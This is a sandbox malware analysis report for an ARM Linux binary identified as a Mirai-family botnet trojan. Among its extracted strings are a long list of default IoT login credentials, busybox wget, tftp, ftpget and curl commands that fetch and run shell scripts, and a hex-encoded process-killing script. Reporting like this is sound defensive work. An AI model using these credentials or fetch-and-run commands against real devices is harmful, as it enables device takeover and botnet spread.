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Linux Analysis Report
la.bot.arm7.elf

Overview

General Information

Sample name:la.bot.arm7.elf
Analysis ID:1545778
MD5:b1e68b7ed1b59378c3bba1ac9c4cc66d
SHA1:96f7dec8143513164bc1a4b7e38b541b624f6cab
SHA256:a06fd0b8936f5b2370db5f7ec933d53bd8a1bf5042cdc5c052390d1ecc7c0e07
Tags:elfuser-abuse_ch
Infos:

Detection

Score:48
Range:0 - 100
Whitelisted:false

Signatures

Multi AV Scanner detection for submitted file
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Joe Sandbox version:41.0.0 Charoite
Analysis ID:1545778
Start date and time:2024-10-31 01:02:06 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 21s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:la.bot.arm7.elf
Detection:MAL
Classification:mal48.linELF@0/0@2/0
  • VT rate limit hit for: la.bot.arm7.elf
Command:/tmp/la.bot.arm7.elf
PID:5434
Exit Code:139
Exit Code Info:SIGSEGV (11) Segmentation fault invalid memory reference
Killed:False
Standard Output:

Standard Error:qemu: uncaught target signal 11 (Segmentation fault) - core dumped
  • system is lnxubuntu20
  • la.bot.arm7.elf (PID: 5434, Parent: 5357, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/la.bot.arm7.elf
  • cleanup
No yara matches
No Suricata rule has matched

Click to jump to signature section

Show All Signature Results

AV Detection

barindex
Source: la.bot.arm7.elfReversingLabs: Detection: 34%
Source: la.bot.arm7.elfString: ash|login|wget|curl|tftp|ntpdate|ftp
Source: la.bot.arm7.elfString: /proc//exe|ash|login|wget|curl|tftp|ntpdate|ftp/lib//lib64//mountinfo/fd/dev/null|/dev/consolesocket|proc/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin//bin//proc/net/tcp/proc/fd//proc/self/exe/. /proc/telnetd|upnpc-static|udhcpc|/usr/bin/inetd|ntpclient|boa|lighttpd|httpd|goahead|mini_http|miniupnpd|dnsmasq|sshd|dhcpd|upnpd|watchdog|syslogd|klogd|uhttpd|uchttpd|pppd|dhclient/dev/watchdog/dev/misc/watchdogM
Source: la.bot.arm7.elfString: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4
Source: /tmp/la.bot.arm7.elf (PID: 5434)Socket: 127.0.0.1:1234Jump to behavior
Source: global trafficDNS traffic detected: DNS query: daisy.ubuntu.com
Source: la.bot.arm7.elfString found in binary or memory: http:///curl.sh
Source: la.bot.arm7.elfString found in binary or memory: http:///wget.sh
Source: Initial sampleString containing 'busybox' found: usage: busybox
Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sampleString containing 'busybox' found: /bin/busybox
Source: Initial sampleString containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sampleString containing 'busybox' found: /bin/busybox echo >
Source: Initial sampleString containing 'busybox' found: /bin/busybox wget http://
Source: Initial sampleString containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sampleString containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sampleString containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep
Source: Initial sampleString containing 'busybox' found: usage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne >> > upnp
Source: Initial sampleString containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var
Source: ELF static info symbol of initial sample.symtab present: no
Source: classification engineClassification label: mal48.linELF@0/0@2/0
Source: /tmp/la.bot.arm7.elf (PID: 5434)File opened: /proc/11/mapsJump to behavior
Source: /tmp/la.bot.arm7.elf (PID: 5434)File opened: /proc/22/mapsJump to behavior
Source: /tmp/la.bot.arm7.elf (PID: 5434)File opened: /proc/55/mapsJump to behavior
Source: /tmp/la.bot.arm7.elf (PID: 5434)File opened: /proc/66/mapsJump to behavior
Source: /tmp/la.bot.arm7.elf (PID: 5434)File opened: /proc/88/mapsJump to behavior
Source: /tmp/la.bot.arm7.elf (PID: 5434)File opened: /proc/99/mapsJump to behavior
Source: /tmp/la.bot.arm7.elf (PID: 5434)File opened: /proc/111/mapsJump to behavior
Source: /tmp/la.bot.arm7.elf (PID: 5434)File opened: /proc/222/mapsJump to behavior
Source: /tmp/la.bot.arm7.elf (PID: 5434)File opened: /proc/333/mapsJump to behavior
Source: /tmp/la.bot.arm7.elf (PID: 5434)File opened: /proc/777/mapsJump to behavior
Source: /tmp/la.bot.arm7.elf (PID: 5434)File opened: /proc/888/mapsJump to behavior
Source: /tmp/la.bot.arm7.elf (PID: 5434)File opened: /proc/11111/mapsJump to behavior
Source: /tmp/la.bot.arm7.elf (PID: 5434)File opened: /proc/999/mapsJump to behavior
Source: /tmp/la.bot.arm7.elf (PID: 5434)Queries kernel information via 'uname': Jump to behavior
Source: la.bot.arm7.elf, 5434.1.00007ffea04b9000.00007ffea04da000.rw-.sdmpBinary or memory string: x86_64/usr/bin/qemu-arm/tmp/la.bot.arm7.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.arm7.elf
Source: la.bot.arm7.elf, 5434.1.00005572281c3000.0000557228312000.rw-.sdmpBinary or memory string: (rU!/etc/qemu-binfmt/arm
Source: la.bot.arm7.elf, 5434.1.00005572281c3000.0000557228312000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/arm
Source: la.bot.arm7.elf, 5434.1.00007ffea04b9000.00007ffea04da000.rw-.sdmpBinary or memory string: /usr/bin/qemu-arm
Source: la.bot.arm7.elf, 5434.1.00007ffea04b9000.00007ffea04da000.rw-.sdmpBinary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped
ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
Gather Victim Identity Information1
Scripting
Valid AccountsWindows Management Instrumentation1
Scripting
Path InterceptionDirect Volume Access1
OS Credential Dumping
11
Security Software Discovery
Remote ServicesData from Local System1
Non-Application Layer Protocol
Exfiltration Over Other Network MediumAbuse Accessibility Features
CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
Application Layer Protocol
Exfiltration Over BluetoothNetwork Denial of Service
No configs have been found
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Number of created Files
  • Is malicious
  • Internet

This section contains all screenshots as thumbnails, including those not shown in the slideshow.


windows-stand
SourceDetectionScannerLabelLink
la.bot.arm7.elf34%ReversingLabsLinux.Trojan.Mirai
No Antivirus matches
No Antivirus matches
No Antivirus matches
NameIPActiveMaliciousAntivirus DetectionReputation
daisy.ubuntu.com
162.213.35.25
truefalse
    unknown
    NameSourceMaliciousAntivirus DetectionReputation
    http:///wget.shla.bot.arm7.elffalse
      unknown
      http:///curl.shla.bot.arm7.elffalse
        unknown
        No contacted IP infos
        No context
        MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
        daisy.ubuntu.comtuefv1.elfGet hashmaliciousXmrigBrowse
        • 162.213.35.24
        sh4.elfGet hashmaliciousMirai, OkiruBrowse
        • 162.213.35.24
        main_arm6.elfGet hashmaliciousMiraiBrowse
        • 162.213.35.24
        i.elfGet hashmaliciousUnknownBrowse
        • 162.213.35.24
        la.bot.powerpc.elfGet hashmaliciousUnknownBrowse
        • 162.213.35.24
        ZsSQZvFF2r.elfGet hashmaliciousUnknownBrowse
        • 162.213.35.25
        la.bot.arm6.elfGet hashmaliciousUnknownBrowse
        • 162.213.35.24
        .report_system.elfGet hashmaliciousXmrigBrowse
        • 162.213.35.25
        j66VB9153M.elfGet hashmaliciousMiraiBrowse
        • 162.213.35.24
        la.bot.arm5.elfGet hashmaliciousUnknownBrowse
        • 162.213.35.25
        No context
        No context
        No context
        No created / dropped files found
        File type:ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped
        Entropy (8bit):6.06212844937509
        TrID:
        • ELF Executable and Linkable format (generic) (4004/1) 100.00%
        File name:la.bot.arm7.elf
        File size:97'340 bytes
        MD5:b1e68b7ed1b59378c3bba1ac9c4cc66d
        SHA1:96f7dec8143513164bc1a4b7e38b541b624f6cab
        SHA256:a06fd0b8936f5b2370db5f7ec933d53bd8a1bf5042cdc5c052390d1ecc7c0e07
        SHA512:7d7ce6466826830d5c8449ace84fe11df9185e28151ab5a1246ebb10225b264e7b2aa9322e6fa017ac0177910cd841014fa41aa30a8ca515b7d79c429bd9332b
        SSDEEP:1536:Xzn0LCJdal2et1jqAtzGeuwVtClkdGC9VXXd5USALO7djINe2lgCiO9sUoCnzsT:wLCJdal2et1jqSuwVtkkRnXt5UScO7d2
        TLSH:8193F64AF9829A16C5D816BEFE0F518D332367ACE3EF7203CD246B1537CA55B0A6B441
        File Content Preview:.ELF..............(.........4....y......4. ...(........plt..l...l....................................u...u...............u...u...u.......t...............u...u...u..................Q.td..................................-...L..................@-.,@...0....S

        ELF header

        Class:ELF32
        Data:2's complement, little endian
        Version:1 (current)
        Machine:ARM
        Version Number:0x1
        Type:EXEC (Executable file)
        OS/ABI:UNIX - System V
        ABI Version:0
        Entry Point Address:0x8194
        Flags:0x4000002
        ELF Header Size:52
        Program Header Offset:52
        Program Header Size:32
        Number of Program Headers:5
        Section Header Offset:96740
        Section Header Size:40
        Number of Section Headers:15
        Header String Table Index:14
        NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
        NULL0x00x00x00x00x0000
        .initPROGBITS0x80d40xd40x100x00x6AX004
        .textPROGBITS0x80f00xf00x153900x00x6AX0016
        .finiPROGBITS0x1d4800x154800x100x00x6AX004
        .rodataPROGBITS0x1d4900x154900x1fc40x00x2A004
        .ARM.extabPROGBITS0x1f4540x174540x180x00x2A004
        .ARM.exidxARM_EXIDX0x1f46c0x1746c0x1180x00x82AL204
        .eh_framePROGBITS0x275840x175840x40x00x3WA004
        .tbssNOBITS0x275880x175880x80x00x403WAT004
        .init_arrayINIT_ARRAY0x275880x175880x40x00x3WA004
        .fini_arrayFINI_ARRAY0x2758c0x1758c0x40x00x3WA004
        .gotPROGBITS0x275940x175940xa80x40x3WA004
        .dataPROGBITS0x2763c0x1763c0x3340x00x3WA004
        .bssNOBITS0x279700x179700x70200x00x3WA004
        .shstrtabSTRTAB0x00x179700x730x00x0001
        TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
        EXIDX0x1746c0x1f46c0x1f46c0x1180x1184.43930x4R 0x4.ARM.exidx
        LOAD0x00x80000x80000x175840x175846.07780x5R E0x8000.init .text .fini .rodata .ARM.extab .ARM.exidx
        LOAD0x175840x275840x275840x3ec0x740c4.35370x6RW 0x8000.eh_frame .tbss .init_array .fini_array .got .data .bss
        TLS0x175880x275880x275880x00x80.00000x4R 0x4.tbss
        GNU_STACK0x00x00x00x00x00.00000x7RWE0x4
        TimestampSource PortDest PortSource IPDest IP
        Oct 31, 2024 01:02:55.013890982 CET3522053192.168.2.138.8.8.8
        Oct 31, 2024 01:02:55.013890982 CET4013353192.168.2.138.8.8.8
        Oct 31, 2024 01:02:55.022123098 CET53352208.8.8.8192.168.2.13
        Oct 31, 2024 01:02:55.022141933 CET53401338.8.8.8192.168.2.13
        TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
        Oct 31, 2024 01:02:55.013890982 CET192.168.2.138.8.8.80xa75bStandard query (0)daisy.ubuntu.comA (IP address)IN (0x0001)false
        Oct 31, 2024 01:02:55.013890982 CET192.168.2.138.8.8.80x30b3Standard query (0)daisy.ubuntu.com28IN (0x0001)false
        TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
        Oct 31, 2024 01:02:55.022123098 CET8.8.8.8192.168.2.130xa75bNo error (0)daisy.ubuntu.com162.213.35.25A (IP address)IN (0x0001)false
        Oct 31, 2024 01:02:55.022123098 CET8.8.8.8192.168.2.130xa75bNo error (0)daisy.ubuntu.com162.213.35.24A (IP address)IN (0x0001)false

        System Behavior

        Start time (UTC):00:02:52
        Start date (UTC):31/10/2024
        Path:/tmp/la.bot.arm7.elf
        Arguments:/tmp/la.bot.arm7.elf
        File size:4956856 bytes
        MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1